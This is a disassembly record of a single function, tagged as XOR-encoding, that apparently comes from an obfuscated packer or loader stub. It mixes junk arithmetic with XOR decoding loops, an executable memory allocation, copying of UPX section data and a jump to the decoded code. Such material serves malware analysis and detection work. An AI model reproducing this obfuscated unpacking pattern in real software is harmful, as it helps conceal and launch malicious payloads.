Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1d5e114b
dec edi
sub edx, edi
popal
not edi
sub edx, edi
sub edx, 0x49ebe5cd
mov ebx, 0
mov edi, edx
add eax, 1
add esi, eax
mov ecx, edi
sub esi, eax
and esi, esi
mov edx, ecx
or eax, esi
sub esi, 0xe7582528
inc eax
inc ebx
and eax, esi
and esi, eax
or esi, eax
cmp ebx, 0x100a0e7
jne 0xa789c5
or esi, esi
sub eax, 0xbb5098f5
mov edi, edx
mov edx, 0x5d48bb49
and edi, edx
mov esi, 0xa78796
add ecx, ebx
inc ecx
mov edi, 0xa7898a
mov edx, 0xcb18816b
or edx, ebx
dec edx
mov eax, dword [esi]
not ecx
sub edx, 0x94215af
and eax, 0xff
mov ecx, edx
sub edx, 0x4a115d90
xor dword [edi], eax
or ecx, ebx
not ebx
and ecx, ebx
inc edi
dec ebx
inc ecx
add ecx, 1
inc esi
mov edx, ebx
and edx, ecx
and edx, ebx
cmp edi, entry0
jl 0xa78a19
mov ebx, 0x1afc2f14
mov ebx, 0x1b982521
dec edx
dec edx
dec ebx
mov edi, 0x3deddb11
add edi, edi
mov esi, 0xa7898e
sub edx, edi
mov edi, ecx
sub edx, 0x96492e62
mov esi, dword [esi]
mov edx, 0xa47e52b
not edi
not ebx
mov esi, dword [esi]
or edi, ecx
mov edi, 0xcae3c4bb
add edx, 0x9bd8dcc0
push esi
sub ebx, edx
and edi, ecx
mov esi, 0xa7898a
sub edi, 0xce785f8d
or ebx, ecx
sub ebx, 1
mov esi, dword [esi]
add ebx, 1
sub ebx, ecx
mov esi, dword [esi]
and ebx, ecx
mov ebx, edx
or edi, ecx
push 0xa78992
add edi, 0xd9048c0b
or ecx, edi
sub edx, edi
call esi
not ebx
not edx
not ebx
pop esi
mov edi, ebx
or ebx, edx
or ecx, edx
push 0xa7899f
mov ebx, 0x95d1e020
add ebx, 0xf8d05f37
add ecx, 0xcf2b0800
push eax
inc edi
mov ecx, edi
call esi
inc ebx
and ebx, edx
add ecx, ebx
push 0x40
and edx, edx
and edx, edi
or edx, edi
push 0x3000
inc edx
not ecx
push 0x20000db8
sub ebx, 0x2c36a822
inc edx
and ebx, ebx
push 0
and edi, ebx
sub ebx, 0xb5d275f9
call eax
add ecx, 0x5f8673df
mov ebx, 0x840415c7
add eax, 0x20000d28
add edx, 0x1d7b16d7
inc ecx
mov esi, 0x3e90251c
and edi, ecx
mov edi, 0x937b96bb
inc edi
mov dword [eax], esi
not ecx
dec ecx
mov esi, dword [eax]
sub edx, 0x2bd658aa
add edx, ecx
mov ebx, 0x73286e5c
cmp esi, 0x3e90251c
je 0xa78b73
mov edx, 0
mov byte [edx], al
add edx, 0x86ae0f88
and ebx, edx
and ebx, edx
mov edx, 0x44b7431b
mov ebx, 0x6c1d75ea
or ecx, edi
mov edx, 0xcaf948ef
dec edi
mov ebx, section.UPX1
mov edi, 0x62415bcc
sub edi, 0xcbf32d56
mov ecx, 0xa78795
mov edi, edx
inc edx
not edi
mov eax, 0
add edx, edx
add edi, 0x258cd3c3
mov esi, 0xa78796
and edx, edi
or edx, edx
and edi, edi
lea esi, [eax + esi]
dec edx
sub edi, 0xcef7acfb
not edi
mov esi, dword [esi]
not edi
add edx, edi
and esi, 0xff
mov edx, 0xa2a9716a
add edx, edx
dec edx
inc eax
sub edi, edx
mov edi, 0xbb5e2914
cmp eax, 0x1f4
jne 0xa78bf6
mov eax, 0
inc edx
not edx
mov edi, edx
not edi
add edi, 0x2adcd296
add edx, edi
xor dword [ebx], esi
add edi, 0x50ae2afa
not edi
add edi, edx
add ebx, 2
and edx, edx
not edx
cmp ebx, ecx
jl 0xa78bb6
add edx, edi
inc edx
not edi
and edi, edi
or edx, edx
mov esi, section.UPX1
and edi, eax
mov eax, edi
mov ecx, section.UPX1
add edi, edi
sub edi, 0x7b60b294
add edi, 0x781cedf3
mov edx, 0xa78795
or eax, eax
or edi, eax
or edi, edi
mov ebx, 0
mov eax, 0xcaf0b052
add edi, eax
add eax, eax
mov bl, byte [ecx]
mov edi, eax
mov edi, 0x4d9e4fc8
mov byte [esi], bl
mov edi, 0xe57c6994
add eax, edi
inc esi
add edi, edi
not eax
sub eax, 1
add ecx, 2
add eax, eax
mov eax, edi
mov edi, 0xa166a17d
cmp ecx, edx
jle 0xa78c61
add edi, eax
sub edi, eax
sub edi, edx
dec edx
not edi
sub esp, 4
mov dword [esp], 0x8dc6a0
add edx, 0xd3b63cb6
sub edx, edi
ret